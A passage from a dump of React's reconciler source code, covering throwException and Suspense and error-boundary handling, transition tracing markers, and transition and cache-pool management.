currentSourceFiber = sourceFiber.alternate;\n        if (currentSourceFiber === null) {\n          // This is a new mount. Change the tag so it's not mistaken for a\n          // completed function component.\n          sourceFiber.tag = IncompleteFunctionComponent;\n        }\n      }\n\n      // The source fiber did not complete. Mark it with Sync priority to\n      // indicate that it still has pending work.\n      sourceFiber.lanes = mergeLanes(sourceFiber.lanes, SyncLane);\n    }\n    return suspenseBoundary;\n  }\n  // Confirmed that the boundary is in a concurrent mode tree. Continue\n  // with the normal suspend path.\n  //\n  // After this we'll use a set of heuristics to determine whether this\n  // render pass will run to completion or restart or \"suspend\" the commit.\n  // The actual logic for this is spread out in different places.\n  //\n  // This first principle is that if we're going to suspend when we complete\n  // a root, then we should also restart if we get an update or ping that\n  // might unsuspend it, and vice versa. The only reason to suspend is\n  // because you think you might want to restart before committing. However,\n  // it doesn't make sense to restart only while in the period we're suspended.\n  //\n  // Restarting too aggressively is also not good because it starves out any\n  // intermediate loading state. So we use heuristics to determine when.\n\n  // Suspense Heuristics\n  //\n  // If nothing threw a Promise or all the same fallbacks are already showing,\n  // then don't suspend/restart.\n  //\n  // If this is an initial render of a new tree of Suspense boundaries and\n  // those trigger a fallback, then don't suspend/restart. We want to ensure\n  // that we can show the initial loading state as quickly as possible.\n  //\n  // If we hit a \"Delayed\" case, such as when we'd switch from content back into\n  // a fallback, then we should always suspend/restart. Transitions apply\n  // to this case. If none is defined, JND is used instead.\n  //\n  // If we're already showing a fallback and it gets \"retried\", allowing us to show\n  // another level, but there's still an inner boundary that would show a fallback,\n  // then we suspend/restart for 500ms since the last time we showed a fallback\n  // anywhere in the tree. This effectively throttles progressive loading into a\n  // consistent train of commits. This also gives us an opportunity to restart to\n  // get to the completed state slightly earlier.\n  //\n  // If there's ambiguity due to batching it's resolved in preference of:\n  // 1) \"delayed\", 2) \"initial render\", 3) \"retry\".\n  //\n  // We want to ensure that a \"busy\" state doesn't get force committed. We want to\n  // ensure that new initial loading states can commit as soon as possible.\n  suspenseBoundary.flags |= ShouldCapture;\n  // TODO: I think we can remove this, since we now use `DidCapture` in\n  // the begin phase to prevent an early bailout.\n  suspenseBoundary.lanes = rootRenderLanes;\n  return suspenseBoundary;\n}\n\nfunction throwException(\n  root: FiberRoot,\n  returnFiber: Fiber | null,\n  sourceFiber: Fiber,\n  value: mixed,\n  rootRenderLanes: Lanes,\n): boolean {\n  // The source fiber did not complete.\n  sourceFiber.flags |= Incomplete;\n\n  if (enableUpdaterTracking) {\n    if (isDevToolsPresent) {\n      // If we have pending work still, restore the original updaters\n      restorePendingUpdaters(root, rootRenderLanes);\n    }\n  }\n\n  if (value !== null && typeof value === 'object') {\n    if (typeof value.then === 'function') {\n      // This is a wakeable. The component suspended.\n      const wakeable: Wakeable = (value: any);\n      resetSuspendedComponent(sourceFiber, rootRenderLanes);\n\n      if (__DEV__) {\n        if (\n          getIsHydrating() &&\n          (disableLegacyMode || sourceFiber.mode & ConcurrentMode)\n        ) {\n          markDidThrowWhileHydratingDEV();\n        }\n      }\n\n      // Mark the nearest Suspense boundary to switch to rendering a fallback.\n      const suspenseBoundary = getSuspenseHandler();\n      if (suspenseBoundary !== null) {\n        switch (suspenseBoundary.tag) {\n          case ActivityComponent:\n          case SuspenseComponent:\n          case SuspenseListComponent: {\n            // If this suspense/activity boundary is not already showing a fallback, mark\n            // the in-progress render as suspended. We try to perform this logic\n            // as soon as soon as possible during the render phase, so the work\n            // loop can know things like whether it's OK to switch to other tasks,\n            // or whether it can wait for data to resolve before continuing.\n            // TODO: Most of these checks are already performed when entering a\n            // Suspense boundary. We should track the information on the stack so\n            // we don't have to recompute it on demand. This would also allow us\n            // to unify with `use` which needs to perform this logic even sooner,\n            // before `throwException` is called.\n            if (disableLegacyMode || sourceFiber.mode & ConcurrentMode) {\n              if (getShellBoundary() === null) {\n                // Suspended in the \"shell\" of the app. This is an undesirable\n                // loading state. We should avoid committing this tree.\n                renderDidSuspendDelayIfPossible();\n              } else {\n                // If we suspended deeper than the shell, we don't need to delay\n                // the commmit. However, we still call renderDidSuspend if this is\n                // a new boundary, to tell the work loop that a new fallback has\n                // appeared during this render.\n                // TODO: Theoretically we should be able to delete this branch.\n                // It's currently used for two things: 1) to throttle the\n                // appearance of successive loading states, and 2) in\n                // SuspenseList, to determine whether the children include any\n                // pending fallbacks. For 1, we should apply throttling to all\n                // retries, not just ones that render an additional fallback. For\n                // 2, we should check subtreeFlags instead. Then we can delete\n                // this branch.\n                const current = suspenseBoundary.alternate;\n                if (current === null) {\n                  renderDidSuspend();\n                }\n              }\n            }\n\n            suspenseBoundary.flags &= ~ForceClientRender;\n            markSuspenseBoundaryShouldCapture(\n              suspenseBoundary,\n              returnFiber,\n              sourceFiber,\n              root,\n              rootRenderLanes,\n            );\n            // Retry listener\n            //\n            // If the fallback does commit, we need to attach a different type of\n            // listener. This one schedules an update on the Suspense boundary to\n            // turn the fallback state off.\n            //\n            // Stash the wakeable on the boundary fiber so we can access it in the\n            // commit phase.\n            //\n            // When the wakeable resolves, we'll attempt to render the boundary\n            // again (\"retry\").\n\n            // Check if this is a Suspensey resource. We do not attach retry\n            // listeners to these, because we don't actually need them for\n            // rendering. Only for committing. Instead, if a fallback commits\n            // and the only thing that suspended was a Suspensey resource, we\n            // retry immediately.\n            // TODO: Refactor throwException so that we don't have to do this type\n            // check. The caller already knows what the cause was.\n            const isSuspenseyResource =\n              wakeable === noopSuspenseyCommitThenable;\n            if (isSuspenseyResource) {\n              suspenseBoundary.flags |= ScheduleRetry;\n            } else {\n              const retryQueue: RetryQueue | null =\n                (suspenseBoundary.updateQueue: any);\n              if (retryQueue === null) {\n                suspenseBoundary.updateQueue = new Set([wakeable]);\n              } else {\n                retryQueue.add(wakeable);\n              }\n\n              // We only attach ping listeners in concurrent mode. Legacy\n              // Suspense always commits fallbacks synchronously, so there are\n              // no pings.\n              if (disableLegacyMode || suspenseBoundary.mode & ConcurrentMode) {\n                attachPingListener(root, wakeable, rootRenderLanes);\n              }\n            }\n            return false;\n          }\n          case OffscreenComponent: {\n            if (disableLegacyMode || suspenseBoundary.mode & ConcurrentMode) {\n              suspenseBoundary.flags |= ShouldCapture;\n              const isSuspenseyResource =\n                wakeable === noopSuspenseyCommitThenable;\n              if (isSuspenseyResource) {\n                suspenseBoundary.flags |= ScheduleRetry;\n              } else {\n                const offscreenQueue: OffscreenQueue | null =\n                  (suspenseBoundary.updateQueue: any);\n                if (offscreenQueue === null) {\n                  const newOffscreenQueue: OffscreenQueue = {\n                    transitions: null,\n                    markerInstances: null,\n                    retryQueue: new Set([wakeable]),\n                  };\n                  suspenseBoundary.updateQueue = newOffscreenQueue;\n                } else {\n                  const retryQueue = offscreenQueue.retryQueue;\n                  if (retryQueue === null) {\n                    offscreenQueue.retryQueue = new Set([wakeable]);\n                  } else {\n                    retryQueue.add(wakeable);\n                  }\n                }\n\n                attachPingListener(root, wakeable, rootRenderLanes);\n              }\n              return false;\n            }\n          }\n        }\n        throw new Error(\n          `Unexpected Suspense handler tag (${suspenseBoundary.tag}). This ` +\n            'is a bug in React.',\n        );\n      } else {\n        // No boundary was found. Unless this is a sync update, this is OK.\n        // We can suspend and wait for more data to arrive.\n\n        if (disableLegacyMode || root.tag === ConcurrentRoot) {\n          // In a concurrent root, suspending without a Suspense boundary is\n          // allowed. It will suspend indefinitely without committing.\n          //\n          // TODO: Should we have different behavior for discrete updates? What\n          // about flushSync? Maybe it should put the tree into an inert state,\n          // and potentially log a warning. Revisit this for a future release.\n          attachPingListener(root, wakeable, rootRenderLanes);\n          renderDidSuspendDelayIfPossible();\n          return false;\n        } else {\n          // In a legacy root, suspending without a boundary is always an error.\n          const uncaughtSuspenseError = new Error(\n            'A component suspended while responding to synchronous input. This ' +\n              'will cause the UI to be replaced with a loading indicator. To ' +\n              'fix, updates that suspend should be wrapped ' +\n              'with startTransition.',\n          );\n          value = uncaughtSuspenseError;\n        }\n      }\n    }\n  }\n\n  // This is a regular error, not a Suspense wakeable.\n  if (\n    getIsHydrating() &&\n    (disableLegacyMode || sourceFiber.mode & ConcurrentMode)\n  ) {\n    markDidThrowWhileHydratingDEV();\n    const hydrationBoundary = getSuspenseHandler();\n    // If the error was thrown during hydration, we may be able to recover by\n    // discarding the dehydrated content and switching to a client render.\n    // Instead of surfacing the error, find the nearest Suspense boundary\n    // and render it again without hydration.\n    if (hydrationBoundary !== null) {\n      if (__DEV__) {\n        if (hydrationBoundary.tag === SuspenseListComponent) {\n          console.error(\n            'SuspenseList should never catch while hydrating. This is a bug in React.',\n          );\n        }\n      }\n      if ((hydrationBoundary.flags & ShouldCapture) === NoFlags) {\n        // Set a flag to indicate that we should try rendering the normal\n        // children again, not the fallback.\n        hydrationBoundary.flags |= ForceClientRender;\n      }\n      markSuspenseBoundaryShouldCapture(\n        hydrationBoundary,\n        returnFiber,\n        sourceFiber,\n        root,\n        rootRenderLanes,\n      );\n\n      // Even though the user may not be affected by this error, we should\n      // still log it so it can be fixed.\n      if (value !== HydrationMismatchException) {\n        const wrapperError = new Error(\n          'There was an error while hydrating but React was able to recover by ' +\n            'instead client rendering from the nearest Suspense boundary.',\n          {cause: value},\n        );\n        queueHydrationError(\n          createCapturedValueAtFiber(wrapperError, sourceFiber),\n        );\n      }\n      return false;\n    } else {\n      if (value !== HydrationMismatchException) {\n        const wrapperError = new Error(\n          'There was an error while hydrating but React was able to recover by ' +\n            'instead client rendering the entire root.',\n          {cause: value},\n        );\n        queueHydrationError(\n          createCapturedValueAtFiber(wrapperError, sourceFiber),\n        );\n      }\n      const workInProgress: Fiber = (root.current: any).alternate;\n      // Schedule an update at the root to log the error but this shouldn't\n      // actually happen because we should recover.\n      workInProgress.flags |= ShouldCapture;\n      const lane = pickArbitraryLane(rootRenderLanes);\n      workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);\n      const rootErrorInfo = createCapturedValueAtFiber(value, sourceFiber);\n      const update = createRootErrorUpdate(\n        workInProgress.stateNode,\n        rootErrorInfo, // This should never actually get logged due to the recovery.\n        lane,\n      );\n      enqueueCapturedUpdate(workInProgress, update);\n      renderDidError();\n      return false;\n    }\n  } else {\n    // Otherwise, fall through to the error path.\n  }\n\n  const wrapperError = new Error(\n    'There was an error during concurrent rendering but React was able to recover by ' +\n      'instead synchronously rendering the entire root.',\n    {cause: value},\n  );\n  queueConcurrentError(createCapturedValueAtFiber(wrapperError, sourceFiber));\n  renderDidError();\n\n  // We didn't find a boundary that could handle this type of exception. Start\n  // over and traverse parent path again, this time treating the exception\n  // as an error.\n\n  if (returnFiber === null) {\n    // There's no return fiber, which means the root errored. This should never\n    // happen. Return `true` to trigger a fatal error (panic).\n    return true;\n  }\n\n  const errorInfo = createCapturedValueAtFiber(value, sourceFiber);\n  let workInProgress: Fiber = returnFiber;\n  do {\n    switch (workInProgress.tag) {\n      case HostRoot: {\n        workInProgress.flags |= ShouldCapture;\n        const lane = pickArbitraryLane(rootRenderLanes);\n        workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);\n        const update = createRootErrorUpdate(\n          workInProgress.stateNode,\n          errorInfo,\n          lane,\n        );\n        enqueueCapturedUpdate(workInProgress, update);\n        return false;\n      }\n      case ClassComponent:\n        // Capture and retry\n        const ctor = workInProgress.type;\n        const instance = workInProgress.stateNode;\n        if (\n          (workInProgress.flags & DidCapture) === NoFlags &&\n          (typeof ctor.getDerivedStateFromError === 'function' ||\n            (instance !== null &&\n              typeof instance.componentDidCatch === 'function' &&\n              !isAlreadyFailedLegacyErrorBoundary(instance)))\n        ) {\n          workInProgress.flags |= ShouldCapture;\n          const lane = pickArbitraryLane(rootRenderLanes);\n          workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);\n          // Schedule the error boundary to re-render using updated state\n          const update = createClassErrorUpdate(lane);\n          initializeClassErrorUpdate(update, root, workInProgress, errorInfo);\n          enqueueCapturedUpdate(workInProgress, update);\n          return false;\n        }\n        break;\n      case OffscreenComponent: {\n        const offscreenState: OffscreenState | null =\n          (workInProgress.memoizedState: any);\n        if (offscreenState !== null) {\n          // An error was thrown inside a hidden Offscreen boundary. This should\n          // not be allowed to escape into the visible part of the UI. Mark the\n          // boundary with ShouldCapture to abort the ongoing prerendering\n          // attempt. This is the same flag would be set if something were to\n          // suspend. It will be cleared the next time the boundary\n          // is attempted.\n          workInProgress.flags |= ShouldCapture;\n          return false;\n        }\n        break;\n      }\n      default:\n        break;\n    }\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    workInProgress = workInProgress.return;\n  } while (workInProgress !== null);\n\n  return false;\n}\n\nexport {\n  throwException,\n  createRootErrorUpdate,\n  createClassErrorUpdate,\n  initializeClassErrorUpdate,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberTracingMarkerComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  TransitionTracingCallbacks,\n  Fiber,\n  FiberRoot,\n} from './ReactInternalTypes';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {OffscreenInstance} from './ReactFiberOffscreenComponent';\nimport type {StackCursor} from './ReactFiberStack';\n\nimport {enableTransitionTracing} from 'shared/ReactFeatureFlags';\nimport {createCursor, push, pop} from './ReactFiberStack';\nimport {getWorkInProgressTransitions} from './ReactFiberWorkLoop';\n\nexport type SuspenseInfo = {name: string | null};\n\nexport type PendingTransitionCallbacks = {\n  transitionStart: Array<Transition> | null,\n  transitionProgress: Map<Transition, PendingBoundaries> | null,\n  transitionComplete: Array<Transition> | null,\n  markerProgress: Map<\n    string,\n    {pendingBoundaries: PendingBoundaries, transitions: Set<Transition>},\n  > | null,\n  markerIncomplete: Map<\n    string,\n    {aborts: Array<TransitionAbort>, transitions: Set<Transition>},\n  > | null,\n  markerComplete: Map<string, Set<Transition>> | null,\n};\n\n// TODO: Is there a way to not include the tag or name here?\nexport type TracingMarkerInstance = {\n  tag?: TracingMarkerTag,\n  transitions: Set<Transition> | null,\n  pendingBoundaries: PendingBoundaries | null,\n  aborts: Array<TransitionAbort> | null,\n  name: string | null,\n};\n\nexport type TransitionAbort = {\n  reason: 'error' | 'unknown' | 'marker' | 'suspense',\n  name?: string | null,\n};\n\nexport const TransitionRoot = 0;\nexport const TransitionTracingMarker = 1;\nexport type TracingMarkerTag = 0 | 1;\n\nexport type PendingBoundaries = Map<OffscreenInstance, SuspenseInfo>;\n\nexport function processTransitionCallbacks(\n  pendingTransitions: PendingTransitionCallbacks,\n  endTime: number,\n  callbacks: TransitionTracingCallbacks,\n): void {\n  if (enableTransitionTracing) {\n    if (pendingTransitions !== null) {\n      const transitionStart = pendingTransitions.transitionStart;\n      const onTransitionStart = callbacks.onTransitionStart;\n      if (transitionStart !== null && onTransitionStart != null) {\n        transitionStart.forEach(transition => {\n          if (transition.name != null) {\n            onTransitionStart(transition.name, transition.startTime);\n          }\n        });\n      }\n\n      const markerProgress = pendingTransitions.markerProgress;\n      const onMarkerProgress = callbacks.onMarkerProgress;\n      if (onMarkerProgress != null && markerProgress !== null) {\n        markerProgress.forEach((markerInstance, markerName) => {\n          if (markerInstance.transitions !== null) {\n            // TODO: Clone the suspense object so users can't modify it\n            const pending =\n              markerInstance.pendingBoundaries !== null\n                ? Array.from(markerInstance.pendingBoundaries.values())\n                : [];\n            markerInstance.transitions.forEach(transition => {\n              if (transition.name != null) {\n                onMarkerProgress(\n                  transition.name,\n                  markerName,\n                  transition.startTime,\n                  endTime,\n                  pending,\n                );\n              }\n            });\n          }\n        });\n      }\n\n      const markerComplete = pendingTransitions.markerComplete;\n      const onMarkerComplete = callbacks.onMarkerComplete;\n      if (markerComplete !== null && onMarkerComplete != null) {\n        markerComplete.forEach((transitions, markerName) => {\n          transitions.forEach(transition => {\n            if (transition.name != null) {\n              onMarkerComplete(\n                transition.name,\n                markerName,\n                transition.startTime,\n                endTime,\n              );\n            }\n          });\n        });\n      }\n\n      const markerIncomplete = pendingTransitions.markerIncomplete;\n      const onMarkerIncomplete = callbacks.onMarkerIncomplete;\n      if (onMarkerIncomplete != null && markerIncomplete !== null) {\n        markerIncomplete.forEach(({transitions, aborts}, markerName) => {\n          transitions.forEach(transition => {\n            const filteredAborts = [];\n            aborts.forEach(abort => {\n              switch (abort.reason) {\n                case 'marker': {\n                  filteredAborts.push({\n                    type: 'marker',\n                    name: abort.name,\n                    endTime,\n                  });\n                  break;\n                }\n                case 'suspense': {\n                  filteredAborts.push({\n                    type: 'suspense',\n                    name: abort.name,\n                    endTime,\n                  });\n                  break;\n                }\n                default: {\n                  break;\n                }\n              }\n            });\n\n            if (filteredAborts.length > 0) {\n              if (transition.name != null) {\n                onMarkerIncomplete(\n                  transition.name,\n                  markerName,\n                  transition.startTime,\n                  filteredAborts,\n                );\n              }\n            }\n          });\n        });\n      }\n\n      const transitionProgress = pendingTransitions.transitionProgress;\n      const onTransitionProgress = callbacks.onTransitionProgress;\n      if (onTransitionProgress != null && transitionProgress !== null) {\n        transitionProgress.forEach((pending, transition) => {\n          if (transition.name != null) {\n            onTransitionProgress(\n              transition.name,\n              transition.startTime,\n              endTime,\n              Array.from(pending.values()),\n            );\n          }\n        });\n      }\n\n      const transitionComplete = pendingTransitions.transitionComplete;\n      const onTransitionComplete = callbacks.onTransitionComplete;\n      if (transitionComplete !== null && onTransitionComplete != null) {\n        transitionComplete.forEach(transition => {\n          if (transition.name != null) {\n            onTransitionComplete(\n              transition.name,\n              transition.startTime,\n              endTime,\n            );\n          }\n        });\n      }\n    }\n  }\n}\n\n// For every tracing marker, store a pointer to it. We will later access it\n// to get the set of suspense boundaries that need to resolve before the\n// tracing marker can be logged as complete\n// This code lives separate from the ReactFiberTransition code because\n// we push and pop on the tracing marker, not the suspense boundary\nconst markerInstanceStack: StackCursor<Array<TracingMarkerInstance> | null> =\n  createCursor(null);\n\nexport function pushRootMarkerInstance(workInProgress: Fiber): void {\n  if (enableTransitionTracing) {\n    // On the root, every transition gets mapped to it's own map of\n    // suspense boundaries. The transition is marked as complete when\n    // the suspense boundaries map is empty. We do this because every\n    // transition completes at different times and depends on different\n    // suspense boundaries to complete. We store all the transitions\n    // along with its map of suspense boundaries in the root incomplete\n    // transitions map. Each entry in this map functions like a tracing\n    // marker does, so we can push it onto the marker instance stack\n    const transitions = getWorkInProgressTransitions();\n    const root: FiberRoot = workInProgress.stateNode;\n\n    if (transitions !== null) {\n      transitions.forEach(transition => {\n        if (!root.incompleteTransitions.has(transition)) {\n          const markerInstance: TracingMarkerInstance = {\n            tag: TransitionRoot,\n            transitions: new Set([transition]),\n            pendingBoundaries: null,\n            aborts: null,\n            name: null,\n          };\n          root.incompleteTransitions.set(transition, markerInstance);\n        }\n      });\n    }\n\n    const markerInstances = [];\n    // For ever transition on the suspense boundary, we push the transition\n    // along with its map of pending suspense boundaries onto the marker\n    // instance stack.\n    root.incompleteTransitions.forEach(markerInstance => {\n      markerInstances.push(markerInstance);\n    });\n    push(markerInstanceStack, markerInstances, workInProgress);\n  }\n}\n\nexport function popRootMarkerInstance(workInProgress: Fiber) {\n  if (enableTransitionTracing) {\n    pop(markerInstanceStack, workInProgress);\n  }\n}\n\nexport function pushMarkerInstance(\n  workInProgress: Fiber,\n  markerInstance: TracingMarkerInstance,\n): void {\n  if (enableTransitionTracing) {\n    if (markerInstanceStack.current === null) {\n      push(markerInstanceStack, [markerInstance], workInProgress);\n    } else {\n      push(\n        markerInstanceStack,\n        markerInstanceStack.current.concat(markerInstance),\n        workInProgress,\n      );\n    }\n  }\n}\n\nexport function popMarkerInstance(workInProgress: Fiber): void {\n  if (enableTransitionTracing) {\n    pop(markerInstanceStack, workInProgress);\n  }\n}\n\nexport function getMarkerInstances(): Array<TracingMarkerInstance> | null {\n  if (enableTransitionTracing) {\n    return markerInstanceStack.current;\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberTransition.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {\n  Thenable,\n  GestureProvider,\n  GestureOptions,\n} from 'shared/ReactTypes';\nimport {NoLane, type Lanes} from './ReactFiberLane';\nimport type {StackCursor} from './ReactFiberStack';\nimport type {Cache, SpawnedCachePool} from './ReactFiberCacheComponent';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {ScheduledGesture} from './ReactFiberGestureScheduler';\n\nimport {\n  enableTransitionTracing,\n  enableViewTransition,\n  enableGestureTransition,\n} from 'shared/ReactFeatureFlags';\nimport {isPrimaryRenderer} from './ReactFiberConfig';\nimport {createCursor, push, pop} from './ReactFiberStack';\nimport {\n  getWorkInProgressRoot,\n  getWorkInProgressTransitions,\n  markTransitionStarted,\n} from './ReactFiberWorkLoop';\nimport {\n  createCache,\n  retainCache,\n  CacheContext,\n} from './ReactFiberCacheComponent';\nimport {\n  queueTransitionTypes,\n  entangleAsyncTransitionTypes,\n  entangledTransitionTypes,\n} from './ReactFiberTransitionTypes';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  entangleAsyncAction,\n  peekEntangledActionLane,\n} from './ReactFiberAsyncAction';\nimport {startAsyncTransitionTimer} from './ReactProfilerTimer';\nimport {firstScheduledRoot} from './ReactFiberRootScheduler';\nimport {\n  startScheduledGesture,\n  cancelScheduledGesture,\n} from './ReactFiberGestureScheduler';\n\nexport const NoTransition = null;\n\n// Attach this reconciler instance's onStartTransitionFinish implementation to\n// the shared internals object. This is used by the isomorphic implementation of\n// startTransition to compose all the startTransitions together.\n//\n//   function startTransition(fn) {\n//     return startTransitionDOM(() => {\n//       return startTransitionART(() => {\n//         return startTransitionThreeFiber(() => {\n//           // and so on...\n//           return fn();\n//         });\n//       });\n//     });\n//   }\n//\n// Currently we only compose together the code that runs at the end of each\n// startTransition, because for now that's sufficient — the part that sets\n// isTransition=true on the stack uses a separate shared internal field. But\n// really we should delete the shared field and track isTransition per\n// reconciler. Leaving this for a future PR.\nconst prevOnStartTransitionFinish = ReactSharedInternals.S;\nReactSharedInternals.S = function onStartTransitionFinishForReconciler(\n  transition: Transition,\n  returnValue: mixed,\n) {\n  markTransitionStarted();\n  if (\n    typeof returnValue === 'object' &&\n    returnValue !== null &&\n    typeof returnValue.then === 'function'\n  ) {\n    // If we're going to wait on some async work before scheduling an update.\n    // We mark the time so we can later log how long we were blocked on the Action.\n    // Ideally, we'd include the sync part of the action too but since that starts\n    // in isomorphic code it currently leads to tricky layering. We'd have to pass\n    // in performance.now() to this callback but we sometimes use a polyfill.\n    startAsyncTransitionTimer();\n\n    // This is an async action\n    const thenable: Thenable<mixed> = (returnValue: any);\n    entangleAsyncAction(transition, thenable);\n  }\n  if (enableViewTransition) {\n    if (entangledTransitionTypes !== null) {\n      // If we scheduled work on any new roots, we need to add any entangled async\n      // transition types to those roots too.\n      let root = firstScheduledRoot;\n      while (root !== null) {\n        queueTransitionTypes(root, entangledTransitionTypes);\n        root = root.next;\n      }\n    }\n    const transitionTypes = transition.types;\n    if (transitionTypes !== null) {\n      // Within this Transition we should've now scheduled any roots we have updates\n      // to work on. If there are no updates on a root, then the Transition type won't\n      // be applied to that root.\n      let root = firstScheduledRoot;\n      while (root !== null) {\n        queueTransitionTypes(root, transitionTypes);\n        root = root.next;\n      }\n      if (peekEntangledActionLane() !== NoLane) {\n        // If we have entangled, async actions going on, the update associated with\n        // these types might come later. We need to save them for later.\n        entangleAsyncTransitionTypes(transitionTypes);\n      }\n    }\n  }\n  if (prevOnStartTransitionFinish !== null) {\n    prevOnStartTransitionFinish(transition, returnValue);\n  }\n};\n\nfunction chainGestureCancellation(\n  root: FiberRoot,\n  scheduledGesture: ScheduledGesture,\n  prevCancel: null | (() => void),\n): () => void {\n  return function cancelGesture(): void {\n    if (scheduledGesture !== null) {\n      cancelScheduledGesture(root, scheduledGesture);\n    }\n    if (prevCancel !== null) {\n      prevCancel();\n    }\n  };\n}\n\nif (enableGestureTransition) {\n  const prevOnStartGestureTransitionFinish = ReactSharedInternals.G;\n  ReactSharedInternals.G = function onStartGestureTransitionFinishForReconciler(\n    transition: Transition,\n    provider: GestureProvider,\n    options: ?GestureOptions,\n  ): () => void {\n    let cancel = null;\n    if (prevOnStartGestureTransitionFinish !== null) {\n      cancel = prevOnStartGestureTransitionFinish(\n        transition,\n        provider,\n        options,\n      );\n    }\n    // For every root that has work scheduled, check if there's a ScheduledGesture\n    // matching this provider and if so, increase its ref count so its retained by\n    // this cancellation callback. We could add the roots to a temporary array as\n    // we schedule them inside the callback to keep track of them. There's a slight\n    // nuance here which is that if there's more than one root scheduled with the\n    // same provider, but it doesn't update in this callback, then we still update\n    // its options and retain it until this cancellation releases. The idea being\n    // that it's conceptually started globally.\n    let root = firstScheduledRoot;\n    while (root !== null) {\n      const scheduledGesture = startScheduledGesture(\n        root,\n        provider,\n        options,\n        transition.types,\n      );\n      if (scheduledGesture !== null) {\n        cancel = chainGestureCancellation(root, scheduledGesture, cancel);\n      }\n      root = root.next;\n    }\n    if (cancel !== null) {\n      return cancel;\n    }\n    return function cancelGesture(): void {\n      // Nothing was scheduled but it could've been scheduled by another renderer.\n    };\n  };\n}\n\nexport function requestCurrentTransition(): Transition | null {\n  return ReactSharedInternals.T;\n}\n\n// When retrying a Suspense/Offscreen boundary, we restore the cache that was\n// used during the previous render by placing it here, on the stack.\nconst resumedCache: StackCursor<Cache | null> = createCursor(null);\n\n// During the render/synchronous commit phase, we don't actually process the\n// transitions. Therefore, we want to lazily combine transitions. Instead of\n// comparing the arrays of transitions when we combine them and storing them\n// and filtering out the duplicates, we will instead store the unprocessed transitions\n// in an array and actually filter them in the passive phase.\nconst transitionStack: StackCursor<Array<Transition> | null> =\n  createCursor(null);\n\nfunction peekCacheFromPool(): Cache | null {\n  // Check if the cache pool already has a cache we can use.\n\n  // If we're rendering inside a Suspense boundary that is currently hidden,\n  // we should use the same cache that we used during the previous render, if\n  // one exists.\n  const cacheResumedFromPreviousRender = resumedCache.current;\n  if (cacheResumedFromPreviousRender !== null) {\n    return cacheResumedFromPreviousRender;\n  }\n\n  // Otherwise, check the root's cache pool.\n  const root = (getWorkInProgressRoot(): any);\n  const cacheFromRootCachePool = root.pooledCache;\n\n  return cacheFromRootCachePool;\n}\n\nexport function requestCacheFromPool(renderLanes: Lanes): Cache {\n  // Similar to previous function, except if there's not already a cache in the\n  // pool, we allocate a new one.\n  const cacheFromPool = peekCacheFromPool();\n  if (cacheFromPool !== null) {\n    return cacheFromPool;\n  }\n\n  // Create a fresh cache and add it to the root cache pool. A cache can have\n  // multiple owners:\n  // - A cache pool that lives on the FiberRoot. This is where all fresh caches\n  //   are originally created (TODO: except during refreshes, until we implement\n  //   this correctly). The root takes ownership immediately when the cache is\n  //   created. Conceptually, root.pooledCache is an Option<Arc<Cache>> (owned),\n  //   and the return value of this function is a &Arc<Cache> (borrowed).\n  // - One of several fiber types: host root, cache boundary, suspense\n  //   component. These retain and release in the commit phase.\n\n  const root = (getWorkInProgressRoot(): any);\n  const freshCache = createCache();\n  root.pooledCache = freshCache;\n  retainCache(freshCache);\n  if (freshCache !== null) {\n    root.pooledCacheLanes |= renderLanes;\n  }\n  return freshCache;\n}\n\nexport function pushRootTransition(\n  workInProgress: Fiber,\n  root: FiberRoot,\n  renderLanes: Lanes,\n) {\n  if (enableTransitionTracing) {\n    const rootTransitions = getWorkInProgressTransitions();\n    push(transitionStack, rootTransitions, workInProgress);\n  }\n}\n\nexport function popRootTransition(\n  workInProgress: Fiber,\n  root: FiberRoot,\n  renderLanes: Lanes,\n) {\n  if (enableTransitionTracing) {\n    pop(transitionStack, workInProgress);\n  }\n}\n\nexport function pushTransition(\n  offscreenWorkInProgress: Fiber,\n  prevCachePool: SpawnedCachePool | null,\n  newTransitions: Array<Transition> | null,\n): void {\n  if (prevCachePool === null) {\n    push(resumedCache, resumedCache.current, offscreenWorkInProgress);\n  } else {\n    push(resumedCache, prevCachePool.pool, offscreenWorkInProgress);\n  }\n\n  if (enableTransitionTracing) {\n    if (transitionStack.current === null) {\n      push(transitionStack, newTransitions, offscreenWorkInProgress);\n    } else if (newTransitions === null) {\n      push(transitionStack, transitionStack.current, offscreenWorkInProgress);\n    } else {\n      push(\n        transitionStack,\n        transitionStack.current.concat(newTransitions),\n        offscreenWorkInProgress,\n      );\n    }\n  }\n}\n\nexport function popTransition(workInProgress: Fiber, current: Fiber | null) {\n  if (current !== null) {\n    if (enableTransitionTracing) {\n      pop(transitionStack, workInProgress);\n    }\n\n    pop(resumedCache, workInProgress);\n  }\n}\n\nexport function getPendingTransitions(): Array<Transition> | null {\n  if (!enableTransitionTracing) {\n    return null;\n  }\n\n  return transitionStack.current;\n}\n\nexport function getSuspendedCache(): SpawnedCachePool | null {\n  // This function is called when a Suspense boundary suspends. It returns the\n  // cache that would have been used to render fresh data during this render,\n  // if there was any, so that we can resume rendering with the same cache when\n  // we receive more data.\n  const cacheFromPool = peekCacheFromPool();\n  if (cacheFromPool === null) {\n    return null;\n  }\n\n  return {\n    // We must also save the parent, so that when we resume we can detect\n    // a refresh.\n    parent: isPrimaryRenderer\n      ? CacheContext._currentValue\n      : CacheContext._currentValue2,\n    pool: cacheFromPool,\n  };\n}\n\nexport function getOffscreenDeferredCache(): SpawnedCachePool | null {\n  const cacheFromPool = peekCacheFromPool();\n  if (cacheFromPool === null) {\n    return null;\n  }\n\n  return {\n    // We must also store the parent, so that when we resume we can detect\n    // a refresh.\n    parent: isPrimaryRenderer\n      ? CacheContext._currentValue\n      : 